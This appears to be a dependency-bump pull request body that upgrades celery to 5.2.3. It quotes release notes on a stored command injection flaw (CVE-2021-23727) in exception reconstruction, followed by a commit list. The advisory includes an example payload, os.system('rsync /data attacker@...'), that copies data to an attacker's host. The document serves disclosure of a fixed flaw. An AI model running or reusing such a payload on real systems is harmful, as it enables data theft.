When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in #4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data")
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:
According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
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Bumps celery from 5.1.2 to 5.2.3.
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Sourced from celery's releases.
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Commits
56275f5
Bump version: 5.2.2 → 5.2.39532c73
Changelog for v5.2.3d4b97be
try newer bumped versions (#7194)c79d5c7
try to make linters happy (#7193)d497b3e
[pre-commit.ci] pre-commit autoupdate815e652
Add changelog for 5.2.2.7384b14
Fix changelog formatting.5c3f155
Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).527458d
prevent duplication in event loop on Consumer restarta5f140b
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